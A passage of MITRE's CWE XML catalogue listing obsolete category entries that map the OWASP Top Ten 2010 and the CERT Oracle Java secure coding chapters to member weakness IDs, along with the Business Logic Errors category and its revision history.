               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="814" Name="OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery(CSRF)" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A5 category in the OWASP Top Ten 2010.</Summary>
         <Relationships>
            <Has_Member CWE_ID="352" View_ID="809"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-765"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2010-06-17</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="815" Name="OWASP Top Ten 2010 Category A6 - Security Misconfiguration" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A6 category in the OWASP Top Ten 2010.</Summary>
         <Relationships>
            <Has_Member CWE_ID="209" View_ID="809"/>
            <Has_Member CWE_ID="219" View_ID="809"/>
            <Has_Member CWE_ID="250" View_ID="809"/>
            <Has_Member CWE_ID="538" View_ID="809"/>
            <Has_Member CWE_ID="552" View_ID="809"/>
            <Has_Member CWE_ID="732" View_ID="809"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-766"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2010-06-17</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="816" Name="OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A7 category in the OWASP Top Ten 2010.</Summary>
         <Relationships>
            <Has_Member CWE_ID="311" View_ID="809"/>
            <Has_Member CWE_ID="312" View_ID="809"/>
            <Has_Member CWE_ID="326" View_ID="809"/>
            <Has_Member CWE_ID="327" View_ID="809"/>
            <Has_Member CWE_ID="759" View_ID="809"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-767"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2010-06-17</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="817" Name="OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A8 category in the OWASP Top Ten 2010.</Summary>
         <Relationships>
            <Has_Member CWE_ID="285" View_ID="809"/>
            <Has_Member CWE_ID="862" View_ID="809"/>
            <Has_Member CWE_ID="863" View_ID="809"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-768"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2010-06-17</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="818" Name="OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2010.</Summary>
         <Relationships>
            <Has_Member CWE_ID="311" View_ID="809"/>
            <Has_Member CWE_ID="319" View_ID="809"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-769"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2010-06-17</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="819" Name="OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards" Status="Obsolete">
         <Summary>Weaknesses in this category are related to the A10 category in the OWASP Top Ten 2010.</Summary>
         <Relationships>
            <Has_Member CWE_ID="601" View_ID="809"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-770"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2010-06-17</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="840" Name="Business Logic Errors" Status="Incomplete">
         <Summary>Weaknesses in this category identify some of the underlying problems that commonly allow attackers to manipulate the business logic of an application. Errors in business logic can be devastating to an entire application. They can be difficult to find automatically, since they typically involve legitimate use of the application's functionality. However, many business logic errors can exhibit patterns that are similar to well-understood implementation and design weaknesses.</Summary>
         <Relationships>
            <Has_Member CWE_ID="283" View_ID="699"/>
            <Has_Member CWE_ID="639" View_ID="699"/>
            <Has_Member CWE_ID="640" View_ID="699"/>
            <Has_Member CWE_ID="708" View_ID="699"/>
            <Has_Member CWE_ID="770" View_ID="699"/>
            <Has_Member CWE_ID="826" View_ID="699"/>
            <Has_Member CWE_ID="837" View_ID="699"/>
            <Has_Member CWE_ID="841" View_ID="699"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-795"/>
            <Reference External_Reference_ID="REF-796"/>
            <Reference External_Reference_ID="REF-797"/>
            <Reference External_Reference_ID="REF-798"/>
            <Reference External_Reference_ID="REF-799"/>
            <Reference External_Reference_ID="REF-667"/>
            <Reference External_Reference_ID="REF-801"/>
            <Reference External_Reference_ID="REF-802" Section="pages 29 - 41"/>
            <Reference External_Reference_ID="REF-1102"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
            <Note Type="Terminology">
               <xhtml:p>The "Business Logic" term is generally used to describe issues that require domain-specific knowledge or "business rules" to determine if they are weaknesses or vulnerabilities, instead of legitimate behavior. Such issues might not be easily detectable via automatic code analysis, because the associated operations do not produce clear errors or undefined behavior at the code level. However, many such "business logic" issues can be understood as instances of other weaknesses such as input validation, access control, numeric computation, order of operations, etc.</xhtml:p>
	    </Note>
            <Note Type="Research Gap">
               <xhtml:p>The classification of business logic flaws has been under-studied, although exploitation of business flaws frequently happens in real-world systems, and many applied vulnerability researchers investigate them. The greatest focus is in web applications. There is debate within the community about whether these problems represent particularly new concepts, or if they are variations of well-known principles.</xhtml:p>
               <xhtml:p>Many business logic flaws appear to be oriented toward business processes, application flows, and sequences of behaviors, which are not as well-represented in CWE as weaknesses related to input validation, memory management, etc.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-03-24</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Description, Observed_Examples, References, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Terminology_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes, References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="845" Name="The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)" Status="Obsolete">
         <Summary>Weaknesses in this category are related to rules in the Input Validation and Data Sanitization (IDS) chapter of The CERT Oracle Secure Coding Standard for Java (2011).</Summary>
         <Relationships>
            <Has_Member CWE_ID="116" View_ID="844"/>
            <Has_Member CWE_ID="134" View_ID="844"/>
            <Has_Member CWE_ID="144" View_ID="844"/>
            <Has_Member CWE_ID="150" View_ID="844"/>
            <Has_Member CWE_ID="180" View_ID="844"/>
            <Has_Member CWE_ID="182" View_ID="844"/>
            <Has_Member CWE_ID="289" View_ID="844"/>
            <Has_Member CWE_ID="409" View_ID="844"/>
            <Has_Member CWE_ID="625" View_ID="844"/>
            <Has_Member CWE_ID="647" View_ID="844"/>
            <Has_Member CWE_ID="78" View_ID="844"/>
            <Has_Member CWE_ID="838" View_ID="844"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-813"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-05-24</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description, Name, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2019-01-03">CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="846" Name="The CERT Oracle Secure Coding Standard for Java (2011) Chapter 3 - Declarations and Initialization (DCL)" Status="Obsolete">
         <Summary>Weaknesses in this category are related to rules in the Declarations and Initialization (DCL) chapter of The CERT Oracle Secure Coding Standard for Java (2011).</Summary>
         <Relationships>
            <Has_Member CWE_ID="665" View_ID="844"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-813"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-05-24</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description, Name, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2019-01-03">CERT Java Secure Coding Section 01 - Declarations and Initialization (DCL)</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="847" Name="The CERT Oracle Secure Coding Standard for Java (2011) Chapter 4 - Expressions (EXP)" Status="Obsolete">
         <Summary>Weaknesses in this category are related to rules in the Expressions (EXP) chapter of The CERT Oracle Secure Coding Standard for Java (2011).</Summary>
         <Relationships>
            <Has_Member CWE_ID="252" View_ID="844"/>
            <Has_Member CWE_ID="479" View_ID="844"/>
            <Has_Member CWE_ID="595" View_ID="844"/>
            <Has_Member CWE_ID="597" View_ID="844"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-813"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-05-24</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description, Name, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2019-01-03">CERT Java Secure Coding Section 02 - Expressions (EXP)</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="848" Name="The CERT Oracle Secure Coding Standard for Java (2011) Chapter 5 - Numeric Types and Operations (NUM)" Status="Obsolete">
         <Summary>Weaknesses in this category are related to rules in the Numeric Types and Operations (NUM) chapter of The CERT Oracle Secure Coding Standard for Java (2011).</Summary>
         <Relationships>
            <Has_Member CWE_ID="197" View_ID="844"/>
            <Has_Member CWE_ID="369" View_ID="844"/>
            <Has_Member CWE_ID="681" View_ID="844"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-813"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-05-24</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description, Name, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2019-01-03">CERT Java Secure Coding Section 03 - Numeric Types and Operations (NUM)</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="849" Name="The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)" Status="Obsolete">
         <Summary>Weaknesses in this category are related to rules in the Object Orientation (OBJ) chapter of The CERT Oracle Secure Coding Standard for Java (2011).</Summary>
         <Relationships>
            <Has_Member CWE_ID="374" View_ID="844"/>
            <Has_Member CWE_ID="375" View_ID="844"/>
            <Has_Member CWE_ID="486" View_ID="844"/>
            <Has_Member CWE_ID="491" View_ID="844"/>
            <Has_Member CWE_ID="492" View_ID="844"/>
            <Has_Member CWE_ID="493" View_ID="844"/>
            <Has_Member CWE_ID="498" View_ID="844"/>
            <Has_Member CWE_ID="500" View_ID="844"/>
            <Has_Member CWE_ID="582" View_ID="844"/>
            <Has_Member CWE_ID="766" View_ID="844"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-813"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-05-24</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description, Name, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2019-01-03">CERT Java Secure Coding Section 04 - Object Orientation (OBJ)</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="850" Name="The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)" Status="Obsolete">
         <Summary>Weaknesses in this category are related to rules in the Methods (MET) chapter of The CERT Oracle Secure Coding Standard for Java (2011).</Summary>
         <Relationships>
            <Has_Member CWE_ID="487" View_ID="844"/>
            <Has_Member CWE_ID="568" View_ID="844"/>
            <Has_Member CWE_ID="573" View_ID="844"/>
            <Has_Member CWE_ID="581" View_ID="844"/>
            <Has_Member CWE_ID="583" View_ID="844"/>
            <Has_Member CWE_ID="586" View_ID="844"/>
            <Has_Member CWE_ID="589" View_ID="844"/>
            <Has_Member CWE_ID="617" View_ID="844"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-813"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-05-24</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description, Name, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2019-01-03">CERT Java Secure Coding Section 05 - Methods (MET)</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="851" Name="The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)" Status="Obsolete">
         <Summary>Weaknesses in this category are related to rules in the Exceptional Behavior (ERR) chapter of The CERT Oracle Secure Coding Standard for Java (2011).</Summary>
         <Relationships>
            <Has_Member CWE_ID="209" View_ID="844"/>
            <Has_Member CWE_ID="230" View_ID="844"/>
            <Has_Member CWE_ID="232" View_ID="844"/>
            <Has_Member CWE_ID="248" View_ID="844"/>
            <Has_Member CWE_ID="382" View_ID="844"/>
            <Has_Member CWE_ID="390" View_ID="844"/>
            <Has_Member CWE_ID="395" View_ID="844"/>
            <Has_Member CWE_ID="397" View_ID="844"/>
            <Has_Member CWE_ID="460" View_ID="844"/>
            <Has_Member CWE_ID="497" View_ID="844"/>
            <Has_Member CWE_ID="584" View_ID="844"/>
            <Has_Member CWE_ID="600" View_ID="844"/>
            <Has_Member CWE_ID="690" View_ID="844"/>
            <Has_Member CWE_ID="703" View_ID="844"/>
            <Has_Member CWE_ID="705" View_ID="844"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-813"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2011-05-24</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description, Name, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2019-01-03">CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="852" Name="The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA)" Status="Obsolete">
         <Summary>Weaknesses in this category are related to rules in the Visibility and Atomicity (VNA) chapter of The CERT Oracle Secure Coding Standard for Java (2011).</Summary>
         <Relationships>
